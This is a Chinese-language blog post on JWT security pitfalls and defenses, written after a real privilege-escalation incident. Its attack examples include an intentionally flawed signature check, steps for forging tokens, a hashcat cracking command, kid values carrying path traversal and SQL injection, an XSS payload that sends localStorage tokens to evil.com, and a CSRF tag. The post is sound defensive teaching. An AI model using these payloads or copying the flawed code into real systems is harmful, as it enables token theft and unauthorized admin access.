引子:那个让我凌晨三点被叫醒的 P0
2021 年的某个周三凌晨 2:47,手机疯狂震动。监控群里只有一句话:“预发环境的 admin 接口被未授权访问了。”
我迷迷糊糊打开电脑,看日志:一个刚注册的普通账号,拿着自己的 JWT,把 payload 里的 role 从 user 改成 admin,然后直接调通了后台的删除接口。更离谱的是,服务端居然返回了 200 OK。
那一瞬间我脑子嗡的一下——我们不是用了 JWT 吗?不是“很安全”吗?怎么改个字段就绕过了?
后来复盘才发现,这根本不是 JWT 的锅,是我们把 JWT 当成了银弹。那次故障之后,我把团队里所有跟 JWT 相关的代码全翻了一遍,越翻越心惊:alg:none 没禁、密钥是 123456、前端把 token 扔在 localStorage、过期时间设了 30 天……每一个都是教科书级的反面案例。
今天这篇,就是把这些坑一个个摊开讲清楚。JWT 本身是一个非常精巧的设计,但“精巧”恰恰意味着“容错率低”,一步用错,就直接送人头。
先把基础打牢:JWT 到底是什么,又不是什么
很多人张口就是“JWT 加密”,这是第一个致命误解。JWT 叫 JSON Web Token,它解决的是“怎么证明这段数据是我发的,且没被篡改”,而不是“怎么把数据藏起来”。
一个正常的 JWT 长这样,用点号分成三段:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEyMywicm9sZSI6InVzZXIifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
拆开看:
- Header:
{"alg":"HS256","typ":"JWT"},声明“我是用 HS256 签的”。 - Payload:
{"uid":123,"role":"user"},放业务数据。注意,这里只是Base64Url编码,任何人都能解。 - Signature:把前两段用 Header 里声明的算法 + 密钥算个签名,用来防篡改。
说人话:JWT 就是一张“盖了公章的明信片”。邮递员、路人都能看到你写了啥,但只要公章对不上,就说明被人改过。千万别在明信片上写银行卡密码。
所以,别再往 payload 里塞 password、phone、idCard 了。我见过最夸张的一次,有人把整个用户表 SELECT * 的结果塞进 JWT,token 长达 8KB,每次请求都带着跑,网关直接被打满。
第一类陷阱:算法混淆——最优雅,也最致命
这是 JWT 漏洞里最出名的一类,2015 年就被公开,但直到现在还有大量库默认“信任客户端传来的 alg”。
1. 把 alg 改成 none,服务器居然信了
none 是 JWT 规范里的一个合法算法,意思是“不签名”。它的本意是给不需要签名的场景用的,比如 JWS 的未保护状态。但很多不成熟的实现是这么验签的:
// 错误示范,请勿模仿
const [headerB64] = token.split('.');
const header = JSON.parse(base64UrlDecode(headerB64));
if (header.alg === 'none') {
return true; // 直接放行,不验签名
} else {
return verify(token, secret);
}
攻击就变得极其简单:把原 token 的 header 改成 {"alg":"none"},把 payload 里的 role 改成 admin,去掉最后一段签名,直接发给服务器——居然通过了。
我第一次在测试环境复现这个漏洞时,手都在抖。改个字符串就能当管理员,这比 SQL 注入还轻松。
防御:永远白名单校验。服务端必须写死只接受 HS256 或 RS256 其中之一,遇到 none 直接拒绝。好一点的库比如 jsonwebtoken 新版已经默认禁用 none,但如果你自己拼字符串验签,一样会中招。
2. RS256 和 HS256 的偷天换日:拿公钥当 HMAC 密钥
这是算法混淆里最阴的一招,很多大厂都栽过。
正常流程:RS256 是非对称,服务端用私钥签名,客户端/网关用公钥验签。HS256 是对称,签和验用同一个密钥。
漏洞在于:有些库验签时会拿 header.alg 来决定怎么验。如果攻击者把 RS256 的 token 头改成 HS256,服务器会怎么想?
“哦,你说你是 HS256 啊,那我就用 HS256 的方式验,用‘密钥’来算 HMAC。” 而这个“密钥”是什么?很多实现直接拿 RS256 的公钥当成了 HS256 的密钥。
公钥是公开的啊!攻击者直接去 /.well-known/jwks.json 把你的公钥下载下来,当成 HMAC 密钥去签一个 HS256 的恶意 token,服务器用同一个公钥去验 HMAC,结果还能对上。
# 攻击者视角
1. 获取服务器 RS256 公钥(公开的)
2. 构造 header: {"alg":"HS256","typ":"JWT"}
3. 构造 payload: {"uid":1,"role":"admin"}
4. 用公钥内容当作 HS256 的 secret 去签名
5. 发给服务器,验签通过
2015 年安全研究员 Tim McLean 就披露过一批库中招,包括一些 Python、Ruby 的老版本。原理不复杂,但极其隐蔽。
防御:两条铁律:① 验签算法必须由服务端配置决定,不能信任 token 里的 alg。② RS256 和 HS256 的密钥/公钥必须隔离存储,验签逻辑里显式指定 algorithms: ['RS256'],别写 algorithms: ['HS256','RS256'] 这种骚操作。
3. 别信任任何客户端能改的东西
归根结底,header.alg 是客户端可控的。就像你不会信任用户传来的 isAdmin=true 一样,也别信任他传来的“我是什么算法”。
第二类陷阱:密钥——烂得像纸糊的一样
算法选对了,密钥拉胯,一样白给。
1. 弱密钥爆破:123456 当密钥的不止你一个
HS256 的密钥强度完全取决于你设多长、随机不随机。我用 hashcat 跑过一遍弱密钥字典,secret、password、123456、jwt_secret,几秒钟就爆出来。
更隐蔽的是,有人用公司名缩写 + 年份当密钥,比如 acme2023。这跟明文没区别。JWT 的签名是确定性的,攻击者可以离线爆破:拿一个合法 token,不断猜密钥去算签名,对上了就说明猜对了,完全不需要跟服务器交互。
# 攻击者离线爆破,给你感受一下
hashcat -a 0 -m 16500 jwt.txt rockyou.txt
# jwt.txt 里放:eyJhb... + 字典跑,很快
防御:密钥至少 32 字节随机字符串,用 openssl rand -hex 32 生成。别用人类能记住的词。如果已经上线了弱密钥,立刻轮换,并让所有旧 token 失效。
2. 密钥泄露:GitHub、前端、日志,全是泄密现场
我审计代码时见过最离谱的三种泄露:
- 前端泄露:把
JWT_SECRET打包进了前端的app.js,打开浏览器源码就能搜到。前端是敌占区,任何密钥放过去都等于公开。 - GitHub 泄露:直接
commit了.env,密钥是my_super_secret_123,GitHub 搜索一下还能找到。 - 日志泄露:为了排查问题,把完整 token 打印到日志,日志又被 ELK 收集,运维、测试人人可见。token 泄露 = 密钥泄露的等价物,因为 token 本身就能用。
还有个冷门的:有些框架会把密钥通过错误堆栈泄露,比如验签失败时把 secret 拼进错误信息返回给前端。
防御:密钥只存在服务端环境变量或 KMS 里,定期轮换。前端永远只存 token,不存密钥。日志里对 token 脱敏,只打印前 10 个字符。
3. kid 参数:一个被遗忘的后门
Header 里有个可选字段 kid(Key ID),用来告诉服务器“你该用哪把密钥来验”。很多实现会这么做:
const kid = header.kid;
const key = getKeyFromDB(kid); // 或者直接拼接文件路径
const verified = verify(token, key);
问题来了,如果 getKeyFromDB 没做校验,攻击者可以玩出花:
- 目录遍历:
kid = "../../dev/null"或kid = "/dev/null",让服务器用空文件当密钥,空密钥签名的 token 随便伪造。 - SQL 注入:
kid = "1' OR '1'='1",如果 kid 直接拼进 SQL,恭喜你,额外赠送一个 SQL 注入。 - 任意文件读取:有些实现会拿
kid去拼文件路径/keys/${kid}.pem,攻击者传kid = "../../../../etc/passwd"就能探测。
我曾在一次渗透测试里,用 kid = "a" 和暴力枚举,发现服务器会返回“key not found”的时延差异,借此枚举出所有合法的 kid。
防御:对 kid 做严格白名单,只允许字母数字和短横。别用它直接拼路径或 SQL,用映射表。
4. jku 和 x5u:让攻击者帮你指定密钥地址
更危险的两个 header 字段:jku(JWK Set URL)和 x5u(X509 URL)。它们的意思是“我的公钥在这个 URL 上,你去下载来验”。如果服务器信任它们,攻击者直接把 jku 指向自己的服务器,服务器乖乖去下载攻击者的公钥来验攻击者的 token——永远能验过。
防御:生产环境直接禁用 jku/x5u/x5c。如果业务真的需要,用白名单域名 + 强制 HTTPS + 缓存。
第三类陷阱:过期、吊销与重放——无状态的代价
JWT 最大的卖点“无状态”,恰恰是最大的坑。
Session 的吊销很简单:服务器把 session 删了就行。但 JWT 一旦签发,在过期前就是一张“无法撤回的支票”。用户改密码了、被封号了、token 被偷了,只要 token 还没过期,攻击者就能一直用。
我见过把 exp 设成 30 天甚至不过期的,美其名曰“提升用户体验,免登录”。结果用户手机丢了,别人拿着 token 能用一个月。
正确姿势是“短命 + 可吊销”:
- 短过期:
accessToken5-15 分钟过期,只放最少的身份信息。 - Refresh Token 轮换:用一个长一点的
refreshToken(存 httpOnly cookie + 存库)来换新的 accessToken,每次使用后旧的 refreshToken 作废。被盗也能快速发现——同一个 refreshToken 被用两次,直接把该用户所有 token 拉黑。 - 黑名单/白名单:登出、改密码、封号时,把 token 的
jti(JWT ID)塞进 Redis 黑名单,TTL 设为 token 剩余有效期。验签时先查黑名单。这会让“无状态”变“有状态”,但这是必要的妥协。 - 别忘了校验 aud、iss、nbf:很多验签只看签名和 exp,
aud(受众)、iss(签发者)都不看。导致 A 服务签的 token 能在 B 服务上用。
// 推荐的验签配置
jwt.verify(token, publicKey, {
algorithms: ['RS256'],
issuer: 'auth.mycompany.com',
audience: 'api.mycompany.com',
clockTolerance: 5 // 容忍 5 秒时钟偏移
});
第四类陷阱:你把 JWT 存在哪,决定了你怎么死
这是一个经典的前后端扯皮现场。
| 存哪 | 优点 | 缺点 | 怎么被偷 |
|---|---|---|---|
| localStorage / sessionStorage | 前端好拿 | 任何 JS 都能读 | 一个 XSS 就全漏 |
| memory(内存变量) | 关闭标签就没 | 刷新就丢 | 相对安全,但体验差 |
| httpOnly + Secure + SameSite Cookie | JS 读不到,防 XSS | 会触发 CSRF | 需要 CSRF token 配合 |
我见过最多的错误是:为了方便,把 token 扔 localStorage,然后某个评论框没做 XSS 过滤,攻击者注入 <img src=x onerror=fetch('https://evil.com?c='+localStorage.getItem('token'))>,所有访问该页面的用户 token 瞬间被收割。
而用 Cookie 也不是万能:Cookie 会自动带上,攻击者诱导用户点一个链接 <img src="https://api.mycompany.com/transfer?to=attacker&amount=1000">,只要用户处于登录态,就会带 Cookie 发请求,这就是 CSRF。
现在业界比较稳的方案:Cookie + 内存。把 accessToken 放内存,refreshToken 放 httpOnly + Secure + SameSite=Strict 的 Cookie,CSRF 用 SameSite 和额外的 csrfToken 双重防御。前端每次刷新页面用 refreshToken 换 accessToken。
另外,一定 全站 HTTPS,否则 token 在网络层就是明文,中间人直接抓包。
第五类陷阱:那些“忘了校验”的字段
验签通过 ≠ 业务通过。很多代码验完签名就直接 req.user = decoded,但漏了:
- 没校验 exp:库的默认配置可能不校验过期,需要手动开。
- 没校验 nbf:“在此时间之前不可用”,不校验会导致未生效的 token 被提前使用。
- payload 信任:把
role、isVip这种权限字段放 JWT 里,且完全信任。正确做法是 JWT 只放uid,权限每次查库或查缓存。 - 重放:没有
jti去重,同一个 token 被截获后可以反复重放。我建议对敏感操作(转账、改密码)加一次性jti或绑定jti + ip + ua指纹。
生产级保命清单:我现在怎么用 JWT
被坑过几次后,我给团队定的 JWT 规范,贴出来你直接抄:
- 算法白名单:代码里写死
algorithms: ['RS256'],不读 header 里的 alg。禁用 none、jku、x5u。 - 密钥要强、要转:HS256 至少 32 字节随机字符串,RS256 用 2048 位以上。密钥放 KMS/环境变量,支持按 kid 轮换,旧密钥保留 7 天用于验旧 token。
- 短过期 + 刷新:access 10 分钟,refresh 7 天 + 轮换 + 黑名单。登出、改密、封号进黑名单。
- 最小 payload:只放
uid、jti、exp、iat,不放敏感信息。要敏感就用 JWE 加密。 - 严格校验:iss、aud、exp、nbf、jti 一个不少。权限不信任 JWT,走服务端查询。
- 存储:refresh 用 httpOnly Cookie,access 放内存。日志脱敏,全站 HTTPS,CSP 防 XSS。
- 可观测:记录 jti 的签发、刷新、吊销链路,异常复用立刻告警。
一句话总结:把 JWT 当成“一次性通行证”,而不是“永久身份证”。
写在最后:JWT 没有错,错的是“无脑信任”
回头看,JWT 的设计非常克制:三段式、Base64Url、可选算法、标准化声明。它的不安全,几乎全是“实现层”的懒惰:为了省事信任 alg、为了方便用弱密钥、为了体验设超长过期、为了快把权限塞进 payload。
这跟菜刀的道理一样:菜刀本身不危险,但你闭着眼睛挥,就是会切到手。
如果你现在就在用 JWT,不妨今晚就对着这份清单自查一遍:搜一下代码里有没有 verify(token, secret) 却没传 algorithms 的地方;搜一下密钥是不是还在 config.js 里明文躺着;看一下 token 过期时间是不是以“天”为单位。改掉一个,就是少一个凌晨三点的 P0。
别等到被提权了,才想起这篇文章。
